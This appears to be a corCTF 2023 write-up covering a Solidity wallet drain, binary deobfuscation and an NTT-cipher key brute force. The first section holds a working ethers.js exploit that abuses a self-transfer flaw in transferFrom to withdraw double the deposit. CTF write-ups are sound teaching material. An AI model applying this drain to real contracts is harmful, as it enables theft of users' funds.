https://twitter.com/cor_ctf/status/1685802639270043648
participated with `cat :flag_kr:` and placed 3rd
# blockchain/baby-wallet
> (24 solves)
```solidity=
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
// 100 ether
contract BabyWallet {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amt) public { // check effect interaction
require(balances[msg.sender] >= amt, "You can't withdraw that much");
balances[msg.sender] -= amt;
(bool success, ) = msg.sender.call{value: amt}("");
require(success, "Failed to withdraw that amount");
}
function approve(address recipient, uint256 amt) public {
allowances[msg.sender][recipient] += amt;
}
...
function transferFrom(address from, address to, uint256 amt) public {
uint256 allowedAmt = allowances[from][msg.sender];
uint256 fromBalance = balances[from];
uint256 toBalance = balances[to];
require(fromBalance >= amt, "You can't transfer that much");
require(allowedAmt >= amt, "You don't have approval for that amount");
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;
allowances[from][msg.sender] = allowedAmt - amt;
}
...
}
```
The goal is to steal all ether (100 ether) from the BabyWallet contract.
User starts with 5000 ether.
the vulnerability is in the transferFrom function.
If `from` equals to `to`,
```solidity
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;
```
the User can add amt to their balance ( Users must deposit an amount equal to or greater than amt )
I think I saw this vuln on Twitter.
```solidity
balances[from] -= amt;
balances[to] += amt;
```
And thought this code will be safe.
the exploit flow:
1. deposit 100 ether
2. approve user 100 ether
3. transfer user to user with 100 ether
4. withdraw 200 ether
###### `exploit.js`
```javascript=
const ethers = require('ethers');
const fs = require('fs');
url = 'https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b'
user = '0xE374b91523278549A86a7d3c1b9Cf4B918F1063d'
pvKey = '0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee'
setupAddr = '0x3efA52920e554DF6A8738A717450598f0e3202c4';
// default wallet
/*
ticket{401a09c398b4015b20178132cabba425}
uuid: 381a0939-1e95-42dd-9cda-70a2880adf7b
rpc endpoint: https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b
private key: 0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee
your address: 0xE374b91523278549A86a7d3c1b9Cf4B918F1063d
setup contract: 0x3efA52920e554DF6A8738A717450598f0e3202c4
*/
async function main() {
provider = new ethers.providers.JsonRpcProvider(url);
const signer = new ethers.Wallet(
pvKey,
provider
)
console.log(ethers.utils.formatUnits(await provider.getBalance(user)).toString());
setupAbi = JSON.parse(fs.readFileSync('./out/Setup.sol/Setup.json', 'utf8'))['abi'];
walletAbi = JSON.parse(fs.readFileSync('./out/BabyWallet.sol/BabyWallet.json', 'utf8'))['abi'];
const setup = new ethers.Contract(setupAddr, setupAbi, signer);
const walletAddr = await setup.wallet();
const wallet = new ethers.Contract(walletAddr, walletAbi, signer);
await wallet.deposit({value: ethers.utils.parseEther('100')});
await wallet.approve(user, ethers.utils.parseEther('100'));
await wallet.transferFrom(user,user,ethers.utils.parseEther('100'));
console.log((await wallet.balances(user)).toString());
await wallet.withdraw(ethers.utils.parseEther('200'));
console.log((await provider.getBalance(walletAddr)).toString());
}
main();
```
> corctf{inf1nite_m0ney_glitch!!!}
# rev/utterly-deranged (60 solves)
The huge binary is given. It can't be decompiled with IDA because it has too many dummy codes that makes branches

these codes (test,jnz,jmp) can be removed with nop.
I patched the code. if the target address of jmp is 0x416948 or larger, it can be replaced with nop.
###### `patch.py`
```python=
import re
from pwn import *
context.arch="amd64"
f = open("./utterlyderanged","rb").read()
main = f[0x1170:0x16935]
BASE = 0x401170
MAIN_END = 0x416900
breaking = []
breaking.append(re.compile(b'\x75\x05\xe9.{4}')) # jz & jmp
breaking.append(re.compile(asm("test rax,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test al,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rdx,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test dl,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rcx,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test cl,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rdi,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test dil,1;")+b'\x0f.{5}'))
for b in breaking:
idxes = list(b.finditer(main))
for idx in idxes:
start,end = idx.span()
opcodes = idx.group()
addr = u32(opcodes[-4:])+start+BASE+10
if addr > MAIN_END:
main = main[:start]+b'\x90'*(end-start)+main[end:]
strange = []
strange.append(asm("test rax,1;nop;"))
strange.append(asm("test al,1;nop;"))
strange.append(asm("test rdx,1;nop;"))
strange.append(asm("test dl,1;nop;"))
strange.append(asm("test rcx,1;nop;"))
strange.append(asm("test cl,1;nop;"))
strange.append(asm("test rdi,1;nop;"))
strange.append(asm("test dl,1;nop;"))
for s in strange:
idxes = list(re.finditer(s,main))
for idx in idxes:
start,end = idx.span()
main = main[:start]+b'\x90'*(end-start)+main[end:]
out = f[:0x1170]+main+f[0x16935:]
print(len(out))
with open("./utterlyderanged_patched","wb") as f:
f.write(out)
```
Now the binary can be decompiled. It has some logic that generate xor table and just xor with input and compare with some data.
I just dumped that xor table and xored with some data.


xor table. bp at 0x0000000000414F87
> corctf{s331ng\_thru\_my\_0p4qu3\_pr3d1c4t35}
# rev/diophantus (9 solves)
The binary compiled with Rust is given.
It was hard time to analysis the logic due to hidden logic due to decompiler after calling encrypt_ntt function
```!
_$LT$core..slice..iter..IterMut$LT$T$GT$$u20$as$u20$core..iter..traits..iterator..Iterator$GT$::for_each::h034ba2e141d3316a
-> encrypt::main::_$u7b$$u7b$closure$u7d$$u7d$::haec5bb9b009b33ff
```
```python=
def encrypt_ntt(key,buf):
if len(buf)==1:
return
even_array = [0] * (len(buf)//2)
odd_array = [0] * (len(buf)//2)
for i in range(len(buf)//2):
even_array[i] = buf[i*2]
odd_array[i] = buf[i*2+1]
encrypt_ntt(key,even_array)
encrypt_ntt(key,odd_array)
mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001)
len_div2 = len(buf)>>1
v30 = 1
for i in range(len_div2):
v15 = v30
v13 = odd_array[i] * v15 % 0x10001
buf[i] = (even_array[i]+v13) % 0x10001
buf[i+len_div2] = (even_array[i]+0x10001 - v13) % 0x10001
v30 = v30 * mod % 0x10001
def decrypt_ntt(key, buf):
if len(buf) == 1:
return
even_array_enc = [0] * (len(buf)//2)
odd_array_enc = [0] * (len(buf)//2)
mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001)
len_div2 = len(buf)>>1
for i in range(len_div2 - 1, -1, -1):
v30 = pow(mod, i, 0x10001)
v13 = (buf[i] - buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001
even_array_enc[i] = (buf[i] + buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001
odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001
decrypt_ntt(key, even_array_enc)
decrypt_ntt(key, odd_array_enc)
for i in range(len(buf)//2):
buf[i*2] = int(even_array_enc[i])
buf[i*2+1] = int(odd_array_enc[i])
def decrypt(inp,key1,key2):
len_log2 = int(math.log2(len(inp)))+1
inp = [pow(pow(1<<len_log2>>1,0xffff,0x10001),-1,0x10001)*inp[i] % 0x10001 for i in range(len(inp))]
decrypt_ntt(key2,inp)
inp =[(inp[i]-key2) * inverse(key1, 0x10001) % 0x10001 for i in range(len(inp))]
decrypt_ntt(key1,inp)
return inp
def encrypt(inp,key1,key2):
encrypt_ntt(key1,inp)
inp = [(inp[i]*key1 + key2) for i in range(len(inp))]
encrypt_ntt(key2,inp)
inp = [inp[i] * pow(1<<len_log2>>1,0xffff,0x10001) % 0x10001 for i in range(len(inp))]
return inp
```
rewrote with python. my teammate @poro helped to write decrypt function.
```
./encrypt flag.txt key1 key2 > flag.enc
```
the flag was encrypted like above.
and i had no idea how to get key1,key2
the range of key each key is 1 ~ 0x10001.
So I just bruteforced the key.
I rewrote it in c using multithreading and compiled it with the -O3 option.
###### `decrypt.c`
```c=
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <pthread.h>
#define THREAD_COUNT 6
long long mod_pow(long long base, long long exp, long long mod) {
long long result = 1;
while (exp > 0) {
if (exp % 2 == 1) {
result = (result * base) % mod;
}
base = (base * base) % mod;
exp /= 2;
}
return result;
}
long long inverse(long long num, long long mod) {
if (num == 0) {
return 0;
}
return mod_pow(num, mod - 2, mod);
}
void decrypt_ntt(long long key, long long *buf, long long len) {
if (len == 1) {
return;
}
long long *even_array_enc = (long long *)malloc(len / 2 * sizeof(long long));
long long *odd_array_enc = (long long *)malloc(len / 2 * sizeof(long long));
long long mod = mod_pow(key, 1 << (16 - (long long)log2(len)), 0x10001);
long long len_div2 = len >> 1;
for (int i = len_div2 - 1; i >= 0; i--) {
long long v30 = mod_pow(mod, i, 0x10001);
long long v13 = ((buf[i] - buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001;
if (v13 < 0) {
v13 += 0x10001;
}
even_array_enc[i] = ((buf[i] + buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001;
if (even_array_enc[i] < 0) {
even_array_enc[i] += 0x10001;
}
odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001;
if (odd_array_enc[i] < 0) {
odd_array_enc[i] += 0x10001;
}
}
decrypt_ntt(key, even_array_enc, len / 2);
decrypt_ntt(key, odd_array_enc, len / 2);
for (long long i = 0; i < len_div2; i++) {
buf[i * 2] = even_array_enc[i];
buf[i * 2 + 1] = odd_array_enc[i];
}
free(even_array_enc);
free(odd_array_enc);
}
void decrypt(long long *buf, long long len, long long key1, long long key2) {
long long len_log2 = (long long)log2(len);
long long len_div = len >> 1;
for (int i = 0; i < len_div; i++) {
buf[i] = buf[i] * inverse(mod_pow(len_div, 0xffff, 0x10001), 0x10001) % 0x10001;
}
decrypt_ntt(key2, buf, len_div);
for (int i = 0; i < len_div; i++) {
buf[i] = (buf[i] - key2) * inverse(key1, 0x10001) % 0x10001;
}
decrypt_ntt(key1, buf, len_div);
}
struct ThreadArgs {
int *cnt;
long long key1_start;
long long key1_end;
long long *buf;
};
void* threadDecrypt(void* args) {
struct ThreadArgs* threadArgs = (struct ThreadArgs*)args;
long long key2 = 0;
long long buf[512] = {0};
long long buf2[512] = {0};
unsigned char out[512] = {0};
for (int i = 0; i < 256; i++) {
buf[i] = threadArgs->buf[i];
}
for (long long key1 = threadArgs->key1_end; key1 >= threadArgs->key1_start; key1--) {
for (key2 = 0; key2 <= 0x10001; key2++) {
memset(buf2, 0, sizeof(buf2));
for (int i = 0; i < 256; i++) {
buf2[i] = buf[i];
}
decrypt(buf2, 0x40, key1, key2);
if (buf2[0] == 25455 && buf2[1] == 29283 && buf2[2] == 29798) {
int c = 0;
for (int i = 0; i < 256; i++) {
out[c++] = buf2[i] >> 8;
out[c++] = buf2[i] & 0xff;
}
printf("%s\n", out);
printf("%lld, %lld\n", key1, key2);
}
}
(*threadArgs->cnt)++;
if(*threadArgs->cnt % 0x10 == 0) {
printf("%lld\n", key1);
}
}
return NULL;
}
int cnt = 0;
int main(void) {
unsigned char reader[512] = {0,};
long long buf[512] = {0,};
int c = 0;
// open ./flag.enc
FILE *fp = fopen("./flag.enc", "r");
// read flag.enc
fread(reader, 1, 512, fp);
for (int i = 0; i < 256; i += 2) {
buf[c++] = reader[i] << 8 | reader[i + 1];
}
// Divide key1 range into THREAD_COUNT parts
long long key1_range = 0x10001 / THREAD_COUNT;
pthread_t threads[THREAD_COUNT];
struct ThreadArgs threadArgs[THREAD_COUNT];
// Create and run threads
for (int i = 0; i < THREAD_COUNT; i++) {
threadArgs[i].key1_start = i * key1_range;
threadArgs[i].key1_end = (i == THREAD_COUNT - 1) ? 0x10001 : (i + 1) * key1_range - 1;
threadArgs[i].cnt = &cnt;
threadArgs[i].buf = buf;
printf("%lld, %lld\n", threadArgs[i].key1_start, threadArgs[i].key1_end);
pthread_create(&threads[i], NULL, threadDecrypt, (void*)&threadArgs[i]);
}
// Wait for all threads to finish
for (int i = 0; i < THREAD_COUNT; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
```
> corctf{i_l0v3_s0lv1ng_nUmb3r_th30r3tic_tR@n5f0rmS!!!}